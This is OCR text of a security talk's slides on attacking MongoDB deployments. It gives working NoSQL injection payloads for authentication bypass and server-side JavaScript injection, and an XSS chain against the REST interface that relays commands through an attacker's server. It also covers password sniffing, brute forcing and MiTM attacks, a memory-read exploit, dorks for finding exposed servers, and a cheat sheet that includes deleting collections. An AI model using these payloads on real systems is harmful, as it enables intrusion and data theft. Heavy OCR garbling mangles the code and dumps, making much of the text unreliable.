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What is it? '

MongoDB — is an open source document-oriented database system.

[
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. Load balancing

. File storage

Features :
. Ad hoc queries. 0
. Indexing
. Replication DATA BASE ADMIN
=

) 2o

- Aggregation Y U NO LEARN NOSQL212!

. Server-side JavaScript execution

. Capped collections
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Inside mongo source code

/mongod — Server in C++

YOU YOUNG FOLKS ARE
ALWAYS AGAINST
EVERYTHING!!!

IS THERE ANYTHING YOU ARE
FOR?
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J/mongo - official client in

\ C++and JS

There are a lot of drivers for different

program languages: @

(D

Javascript
NET (C# F#, PowerShell, etc)



http://www.mongodb.org/display/DOCS/C+Language+Center
http://www.mongodb.org/pages/viewpage.action?pageId=133409
http://www.mongodb.org/display/DOCS/Java+Language+Center
http://www.mongodb.org/display/DOCS/Javascript+Language+Center
http://www.mongodb.org/display/DOCS/CSharp+Language+Center
http://www.mongodb.org/display/DOCS/node.JS
http://www.mongodb.org/display/DOCS/Perl+Language+Center
http://www.mongodb.org/display/DOCS/PHP+Language+Center
http://www.mongodb.org/display/DOCS/Python+Language+Center
http://www.mongodb.org/display/DOCS/Ruby+Language+Center
http://www.mongodb.org/display/DOCS/Scala+Language+Center

Who use mongoDB

1.

2.
3.
4.
5.
6.

List of some big companies that use mongoDB:
SAP
SourceForge (hosting for open source projects)
The New York Times

Ehe New YJork Times
GitHub (social coding project)
Foursquare
Yandex

foursquare E—

github

SOC1AL CODING
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WTF is RESTful? !

A RESTful web service (also called a RESTful web
API) is a web service implemented using HTTP and

—— the principles of REST. It is a collection of
resources, with four defined aspects

NOSOLINIECTION

ccccc generator.net
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How I can discover it?

Default port is «28017».

If server was started without “"—rest”, you can see this: /

REST i=s mot enabkled. use —-rest to turn on. L
check that port 28017 is zecured for the network too. /
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How I can discover it?

mongod cyber-punk

List all commands | Replica set status

Commands: buildinfo cursorinfo features isMaster listDatabases replSetGetStatus serverStatus top

db wversion v2.0.4, pdfile wversion 4.5

git hash: nogitversion

sys info: Linux roseapple 2.6.24-28-server #1 SMP Wed Aug 18 21:17:51 UTC 2010 i686 BOOST_LIE VERSION=1_ 46 1
uptime: 52 seconds

low level requires read lock

time to get readlock: Oms
¥ dacabases: 3

replication:

master: 0O

slave: o

clients

Client Opld | Active  LockType Waiting SecsRunning Op |Namespace Query client msg | progress
snapshotthread |0 0 0

initandlisten 0] W 2004 | secure_nosql { name: /"local temp./ } 0.0.0.0:0
websvr 0 R 0 admin.system_users

conn 4 R 2004 | secure_nosql.users |{ login: ", password: /"*sdffi } 127.0.0.1:55322
clientcursormon |0 R 0

conn 2 R 2004 | secure_nosql.users |{ login: "werwerw”, password: "werwerw/i } 127.0.0.1:55321

dbtop (occurences|percent of elapsed)
NS total

TOTAL 1/0.0%|1|0.0%|0 [0% |1[0.0% |0 |0% 0/0% 0 |0% |0 [0%
secure_nosql.users|1/00% |1|{00%|0 (0% |1|00% |0 |0% 0/0% (0 |0% |0 [0%

Reads Writes Queries GetMores Inserts Updates Removes

write lock % time in write lock, by 4 sec periods
goo0OOO0OOOOO
write locked now: false

Log

Wed Jul 11 16:42:24 [initandlisten] MongoDB starting :
16:42:24 [initandlisten]

16:42:24 [inicandlisten] ** NCOTE: when using MongoDB 32 bit, you are limited to abkout 2 gigabytes of data
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pid=16308 port=27017 dbpath=/data/db/ 32-bit host=cyber-punk



What kind of vulns are there?

% Execution of arbitrary code server JS
%  Stored XSS in mongoDB log
%  Stored XSS in queries journal

% Cross Site Request Forgery

(' 127.0.0.1:28017 fadmin/Scrmd/Hilter_eval=function() {val = db.version(); return val: }&dimit=1
{ |

"offset” : 0, Our SSJS code

"rows": |

{ "retval" : "2.0.4", "ok" : 1 }

1.

"total rows" : 1 ,

"ouery™ @ { "eval" : "funection() {val = db.version(); return wval:;

"millis" : O
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HOW TO WRITE A CV

we N
L‘JAC\‘\\
\“ EXPERT IN
AT

Leverage the NoSQL boom

geek & poke




Attack

1) Send “<script>" with our javascript code Site with
O O mongoDB
driver support
Hacker
~_
Admin’s browser
Hacker’s d
Server
MongoDB
-REST
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Attack

1) Send “<script>" with our javascript code Site with
O O mongoDB
driver support
Hacker
~__
Admin’s browser
2) Inject our scriptin
REST interface
Hacker’s d
Server
MongoDB
-REST
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Attack

1) Send “<script>" with our javascript code

o O

Hacker

~_

Hacker’s
Server
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Site with

mongoDB
driver support

2) Inject our scriptin
REST interface

MongoDB

o O

Admin’s browser

3) Exec our js-code in
admin’s browser

-REST u




Attack

1) Send “<script>" with our javascript code

o O

Hacker
\_/

4) Send
SSJS
command to
our script

Hacker’s
Server
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Site with
mongoDB

driver support

2) Inject our scriptin
REST interface

MongoDB

o O

Admin’s browser

3) Exec our js-code in
admin’s browser

-REST u




Attack

1) Send “<script>" with our javascript code Site with
O O mongoDB
driver support
Hacker
~__
4) Send
SSJS Admin’s browser
command to
our script
2) Inject our scriptin
REST interface

5) Wait until admin’s browser check
our server for the new commands
(via JISONP)

Hacker’s
Server

3) Exec our js-code in

MongoDB admin’s browser

-REST u
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Attack

1) Send “<script>" with our javascript code

o O

Hacker

~_

4) Send
SSJS
command to
our script

5) Wait until admin’s browser check
our server for the new commands
(via JISONP)

Site with

mongoDB
driver support

o O

Admin’s browser

Hacker’s
Server
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2) Inject our scriptin

REST interface

6) Our command gets executed

MongoDB

-REST

3) Exec our js-code in
admin’s browser




Attack

1) Send “<script>" with our javascript code

o O

Hacker

~_

4) Send
SSJS
command to
our script

5) Wait until admin’s browser check
our server for the new commands
(via JISONP)

Site with
mongoDB

driver support

o O

Hacker’s
Server
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Admin’s browser
7) Send answer to our sniffer

2) Inject our scriptin

REST interface 6) Our command gets executed

3) Exec our js-code in

MongoDB admin’s browser

-REST u




Attack

1) Send “<script>" with our javascript code

o O

Hacker
\_/

Py

4) Send
SSJS
command to
our script

8) Print result
of executed
command

5) Wait until admin’s browser check
our server for the new commands
(via JISONP)

Site with

mongoDB
driver support

o O

Hacker’s
Server

7) Send answer to our sniffer

Admin’s browser

2) Inject our scriptin

REST interface

6) Our command gets executed

MongoDB

FOSITIVE TECHNOLOGIES

-REST

3) Exec our js-code in
admin’s browser




KE CTPaHMLBI http://127.0.0.1:8080/
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Where we can find it?

% SHODAN

» Top countries matching your search  United States
Argentina
Kenya
Germany
China

GO ( ;8[@ intitle:mongo intext "listDatabases’

[Tonck
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Stable CRASH

There are a lot of concepts of DoS attacks:

Bssertion failur u /fengin idermonkey.
B0d2d39 OxB118f50 OxE8lédlcé Ox L L dlcé 0xB1602cf OxEléccbe OxZ e 0x8123516 O0x80bl26d OxEB0aB6écl OxbT3ff4d3 ~
o(_ZNSmongol2say
ongo {_EZNSmongofassertedEPKcS 12
1perEPJSContextPEISCbjectiP1S4_+0x700) [0x8118£50]

oke+0X396) _:JxE'_Ed'_cs:

oke+0x396) [0x81
erpret+0x126f)
xecute+0x22e)
luatelCSc
telUCs5c
uateScript+0xTe)
goTSMScopedexecE
PPc+0xlcld) [0x80bl2&d]

0xB0b5620 Ox80abcal Oxb Mo
tS5tackTraceERSo+0x30) ¢
+0xd9) [0=E80abcal]

Tree+0x727) [0x814a8
8dbf]
leTokenStream+0=x93)

iPPc+0xlcld)

[0x80a86cl]
libc.s0.6(_ libc start main+0xf3) [0xb730e4d3]
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Interesting features

v

v

v

Ls, cat and other admin functions work only with mongoDb console client.

NativeHelper function helps you with system commands:

vold injectNative( const char *field, MativeFunction func, woid* data ) {

smlock;

string name = field;

jsval v

v = _convertor-»toval({ static_cast<double>( reinterpret_cast<long long>{func) ) J;
_convertor-*setProperty( _global, (name + "_"J.c_str(), v };

stringstream code;

if (data) {
v = _convertor-»*toval( static_cast<double*({ reinterpret_cast<long long>{datal ) };
_convertor-»setProperty( _global, (name + "_data_").c_str(), v J;
code €< field << "_" << ™ = { x : " €< Ffield << "_ , wv: " << field << "_data_ }; ";
1 else {
code << Field << "_" << ™ = { x : " €< Field << "_ F; ";
¥
code £ Fimld << " = Fyunctiopn(id retyrn pativedHelper ool ML

field << ™ , arguments J: 13

exec( code.str() J;

You can get data in text/plain by reading db-files of mongoDB with any text editor.
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Network interaction

Adding user:

- db.addUs=ser("=a',

|updatedixisting” : Ere Decrypted salt:
"connectionI

Mary™

Tok™

> db.system.users.find () [1]

ObjectId("508141e758bcle8a86eldc3E™),

"Tser™ SE"."
le8686eldc3ft™),

"readOnly™ : fals=se,
_ "pwd™ : "75692bld1llc072cEcTo332e248c4f699"

> hex md5('sa:mongo:sa') = db.system.users.find () [1]['pwd']
true

string DBClientWithCommands: :createPasswordDigest( string & username , string & clearTextPassword )} {
mdSdigest d;

1

mdS_state t st;

md5_init(&st);

md5_append(&st, md5 _byte t *) username.data(), username.length());

md5_append(&st, md5_byte t *) ":mongo:™, 7 );

md5_append(&st, md5_byte t *) clearTextPassword.data(), clearTextPassword.length(});
mds_finish(&st, ;

digestToString( d };
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Network interaction

Captured packets:

Mo. Time Source Destination Protocol Length Info
1 0.000000 127.0.0.1 127.0.0.1 MONGO 128 RequestT : qQuery
2 0.000367 127.0.0.1 127.0.0.1 MONGO 147 Response : Reply
3 0.000390 127.0.0.1 127.0.0.1 TCP 66 48283 > 27017 [AcCK] Seq=63 Ack=B82 win=2653 Len=0 TSval=1094520 1
4 0.000503 127.0.0.1 127.0.0.1 MONGO 215 Request : Query
5 0.001141 127.0.0.1 127.0.0.1 MONGO 119 Response : Reply
[ Follow TCP Stream - - = | B |
- — -
Stream Content
- S admin.
$cmd. ... getnonce. .. ..... ?.0...7 Be it i i i e e - NOMNCe. . ... fobbade5c973dsb4. .ok, ....... ? e
D e admin.
$cmd. . ....... n....authenticate........ 7.USEer..... sa..nonce..... fobbad65c973d5h4. . key. !...del62043afb7073a313e16f05bcas016. . 5. ..
T ok...... 2 admin
§cmd. . ....... Jo...replserGetStatus. ..., forshell...... Wecolboe Boococoocoooocooooooooaoooos B....errmsg..... not running with --
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Network interaction

Algorithm for sniff and brute force password :

Sniff some packets
with mongoDB data

from

Read string w

dictionary J

from this packet

[ Get key, nonce, login

|

Look for auth
packet

N

Not found

found

Vv

key2 = md5(nonce + user +
md5(user + ":mongo:" + passw)),
where “passw” is string from dict

key == key2 print user:passwd

false |

true \H

FOSITIVE TECHNOLOGIES
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Network interaction. MiTM attack

1. Authorization ~_
auery mongoDB
o O
admin
O~

Hacker
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Network interaction. MiTM attack

1. Authorization ~_

uer
auery mongoDB
o O

admin 2. Return special nonce
~ using which rainbow
tables were generated

Hacker
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Network interaction. MiTM attack

1. Authorization ~_

uer
auery mongoDB
o O

admin 2. Return special nonce
~ using which rainbow
tables were generated

o o ~

Hacker

3. Client sends to us
“key” and “login”
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Network interaction. MiTM attack

N
S

mongoDB

4. Brute Force
password using pre-
generated rainbow

tables for this nonce

1. Authorization
query

© O

admin 2. Return special nonce
~ using which rainbow
tables were generated

Hacker

3. Client sends to us
“key” and “login”

~OSITIVE TECHNOLOGIES




Network interaction. MiTM attack

N
S

mongoDB

4. Brute Force
password using pre-
generated rainbow

tables for this nonce

1. Authorization
query

© O

admin 2. Return special nonce
~ using which rainbow
tables were generated

5. Successfully login
o O

Hacker

3. Client sends to us
“key” and “login”
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WTF is BSON?

What is it?

BSON is a computer data
interchange format used mainly as
a data storage and network
transfer format in the MongoDB
database. The name "BSON" is
based on the term JSON and
stands for "Binary JSON".

Example?

Data types:
/\

string

int

double
DateTime
byte[]

bool

null
BsonObject
BsonObject([]

\x1 6‘~x00‘\x00‘~x00‘\x2%he 110'x00
\x06'x00\x00'\x00world'x00'x00

{"hello": "world"}
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Overwriting variables

Some table with 2 documents:

"name™ : "admin®™,

"name"™ : nug . Tiss

FOSITIVE TECHNOLOGIES




Reading memory

Exploit:

Length

db.dropme.insert {{"\x16\x00%\x00\x00\x05hello\x00

cyber@cyber-punk: /root

In action:

kK00\x00\x00world\x00'\x00" : "world"})
(=] @ [
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Reading memory

In action:

Bl i e i il B i e it i il s Sl -3 L NETASE RAE LSE—o LARS LR LSS W R A L A R R SR N R N W e
WVUFHVUFjdOIwQUNBQVIZQge. peﬂ’ﬂﬁ.lg\fﬁ%é-tart =un pu%“upu’*53944834b98eb4cdargs = ["mongobridge”, "--port", this.port, "--dest",
this.dest];

print{"ReplSetBridge starting: "+tojson(args));
tho r'soFz94:  og9hEhE3,3 null, args );
print{"ReplSetBridge started " + this.bridge);

RetBridge.prototypeqpEpE= function() {
ReplSetBridge stopping: " + this.port);
apMongod(this.port);

ReplSetBridge.prototype.toString = function() {

return this.host+" - = "+this.dest;

y

} T:H;Fo=:UQT#9=:F9:WQV@;Q WQ
\Vo=;
D11 QVO=:QT5M9: /9;9Y?[Z:$79: QVO=:QT5M9: {# 2;9v?[Z:$79:Q; 9V: Q3%ig

difgiie8kieqgifig
c

ded=%¥cd

c

NcBt# gifed

c

NcBtHECg q3§§|ﬂ§"EdEdﬂ§REIﬂgﬁﬁﬁEbﬁﬂlDéﬁilgﬁﬁﬂ@ﬁﬂgﬂE . B PHExEE 5o B & <«P?Br'® 2lQprintShardingSizes not
shard db!EM; =$CPEI D=1 r=FBWFRxETLY oWg:Eoifiy rifpw W EiTsaveDBVS =t HeE =Ry o

2 ;;TQaNdzIE KIE & ;;TC::QT1;&9;Y;

O=T5 =#[ Z:§9;0v7[ Z:M@o: Qa’r(d@;aiczr]g(c+r|9c=:iﬂg OIxO" fEXERERHTAED B #8 @ off?WEPER HORE(=4#0;1"r'(=
R ARERS riel BT rifhEkeyPatternE b= FI QAL A PIATMQACHE ] ¥ 8 & FI=

9=:mQ; E9=F:WQV@;9=:Q= wQ

WQWo=:QVo=;

9;E0=1F9:1QVI=1Q;9YZWQ; 5m9: F9:Q; WQV9I=:Q;5m9: ¥+9;9¥?[Z: F£9:Q;9V:Qafg
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Features of some programming languages !

Ruby on Rails

jS nodejs

PHP
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Features of some programming languages !

Ruby on Rails
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Features of some programming languages

Mass assignment in Ruby on Rails:

oo [ |
©aiin [packa Bwa Xyprnan 3aknagkw WHctpymedTtel Cnpaeka
i W

(— localhost:3050/ article X -"lv Google P |

p
1@ Blog - Mozilla Firefox

I "% CoeguHEHKE...

Name: w

Content: w

Published: 2012-10-25
New Comment

Name AAAAAAAAAAAAA

EEEEBEEEEEEE!

burp intruder repeater window about
rtarget rproxy rspider rscanner |’imruder rrepeater rsequencer rdecoder rcomparer roptions |’a|erts |

fintercem roptions rhistory |

request o http:Mocalhost8080 [127.0.0.1]

raw rparams rheaders |/hex |

| forward || drop || interceptis on || action | | "3

POST farticles/50896fe3ifeb0273d445000041/ comments HTTP 1.1

Host: localhost:5080

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWed; rv:15.0) Gecko/20100101 Firefox/15.0.1
Apcept: text/html,application/=html+xml, application/xml;g=0.9, /% q=0.8
Looept-Language: ru-ru,ru;g=0.5,en-us;g=0.5,en;gq=0.3

Locept-Encoding: geip, deflate

Proxy-Contection: keep-aliwve

Referer: http://localhost:8080/articles/S0896fe3feh02730045000041

Cookie:
_blog ses5ion=Bih7EO0kiD3N1c3NpheSfaloG0gZFRITIND L1MDYONGErlI TRS T TE1MDF 3V TN el TE VENE UyNGRIThEE T3 NyZ190b2 L

1bgY7AEEI I FeMFkyMHECHiswTEXFL I T4V w9 vh 2 RVAEx=3 IV U zaledh URsVExRPOYTAEY: 3D—-h7aShad80alf6dfc015£4 652
2fkhi0ee0l53 601

Content-Type: application/x-wwv—Lform—urlencoded

ontent-Length: 173

=%E2359C%93 dauthenticity token=s0T20vEG52B0LLE: 2FvEVRpSooodVeL IEUEQF s iwdwD 1WL0% 3 D écomnent 5 SEnames SD=A44
BAppibecomments SEoontent  SD=BEEEEEEEEEEERE ecomit=Create+Contient

Create Comment

Edit | Back

Oxmganwe oteeta ot localhost...

x &~

| »

-

~OSITIVE TECHNOLOGIES
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Features of some programming languages

Mass assignment in Ruby on Rails:

purp intruder repeater window about

target | proxy spider scanner | intruder repeater sequencer decoder

comparer

intercept options history

request to hitp:localhost 8080 [127.0.0.1]
forward drop interceptis on action

raw params | headers hex

FOST farticles/505896fe3feb0273d45000041/ comrents HTTP/1.1
Host: localhost:S0E0

Aocept-Language: ru-ru,ru;g=0.5,en-us;g=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-aliwve

Cookie:
2fbhilee0053 601

Content-Type: application/x-www-form-urlencoded
Content-Length: 173

User-Lgent: Mozilla/5.0 (Windows NT 6.1; WOWA4: rv:15.0) Gecko/20100101
Aoeept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*%;gq=0.8

Referer: http://localhost:3080/articles/ 508963 feb02 73445000041

_blog session=BLh7EOkKiD3N1cilphi 5LalQGOyIFRITIND LIMDYOMGFNTRSYTELIHDF 37
lhg¥7AEZI I F eMF kv MHECH iswTExFLS ¥4Vt wH S vhE RTdExs3 1V T Zza o 4h TRaVE < RP Q)

utfg=3E2%9C5 93 sauthenticity_token=s0YZ0vEEs2BOLLE% 2FvEVkpSooodVeL IKUXQF
LphbAbAARARLEeOmment: SEcontents SD=EEEEEEEEEEEEE coomment: SEtests 5D=tes -
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Features of some programming languages !

NodeJdS

~OSITIVE TECHNOLOGIES



Features of some programming languages

JSON injection B NodeJS + MongoDB:

VULNERABLE SOURCE CODE:

var loginParam = eval{"{]{ login: "™ + login + "',
RESULT QUERY:

password: '™ + password + "' }1");

db.users.findOne({ login: "root' }) /", password: '" })

MongoDB . bnor

Moaapasnsio! Tl Bowen B cucremy!

BbIMTH M3 CHCTEMBI,

Xakep 02/12 (157)
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http://habrahabr.ru/company/xakep/blog/143909/

Features of some programming languages !
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Features of some programming languages !

Types of vulnerabilities:

il

Bypass authorization via Array in php driver.

il

Injecting SSJS code.

il

Blind SSJS injecting, Time-based

mo ng- DB
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Features of some programming languages

As you know, php processes data from GPC as Array:

password[$ne]=paroll

array(l) {1
[lr$nElr] ="
string(e) "parocll"®™

There is find() function in the official driver for php:

Scursorl = fcollection-»find{array("login® =» Slogin, "pass" =% Spass )):

~OSITIVE TECHNOLOGIES




Features of some programming languages '

And we got this query to mongoDB collection:

db.members. find({{ "login”™ : "admin™, "pass”™ : {$ne : "paroll™} }) <

With these techniques you can bypass authorization:

2login=Admin&password[Snot][%type]l=1 //Ewe |ogMH cnocof
*login=Admin&password[%ne]=1 // Yepes noruey
2login[$regex]="Ad&password[Sregex]=" //Mpy nomoww perynapkKu
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Features of some programming languages

Injecting in SSJS.

For example, we have this vulnerable code:

$q = “function() { var loginn = ‘$login’; var passs = ‘$pass’; db.members.insert({id : 2,
login : loginn, pass : passs}); }”;
$db->execute($q);

We can see our login, id and pass in answer

Trying to inject in SSJS query:

é 41 127.0.01:8080/ indexd . php?login=user&passwordgl’; var loeginn = dbwersion(); var b=

id: 2
login: 2.0.4
pass: 1

As you can see, we rewrite “login” value by db.version() value

FOSITIVE TECHNOLOGIES




Features of some programming languages

Sometimes we can’t see answer from our SSJS code.

For this situations we can use Time-Based technique:

A special script was written for this task.

T T N R R R R EREEEEEEER

Getting the name of 1 collection EEAERARAR AR R AR
mEOE OE R OE E E E E ®E E E ®E = = = C—Ettlng lengtﬂ Ef
Getting length of 1 collection Trying 0 symbols
:HHH.HHHjHHHH;H;-HH ':I.':llrlng 1 wacls
1

_ry}ng - SYIEeSS Trying 2 symbols
Trying 1 symbols — )

— - ITrying 3 =symbols
Trying 2 symbols _ ] 4 hol
Trying 3 symbols ;Iy}ng SYmools
Trying 4 =svmbols _Iy%ng > symbols
Trying 5 symkols Trying & symbols
Trying & symbols Trying 7 symbols
— . —_ . - TrwrrAimer 2 oimbas]l o
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NoSQL-injection Cheat Sheet

Q
Q
Q

Q
Q
Q

Q
Q

db.getName() - Get current DB name
db.members.count() - Get number of documents in the collection

db.members.validate({ full : true}) - Get ALL information about this
collection

db.members.stats() — Get information about this collection
db.members.remove() - remove all documents from current collection

db.members.find().skip (03 Jdimit(1) - Get documents from DB (Change only
number in skip() function

db.getMongo().getDBNames().toString() — Get the list of all DBs

db.members.find()[0]['pass’] — Get "pass” value from current collection
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Thanks!
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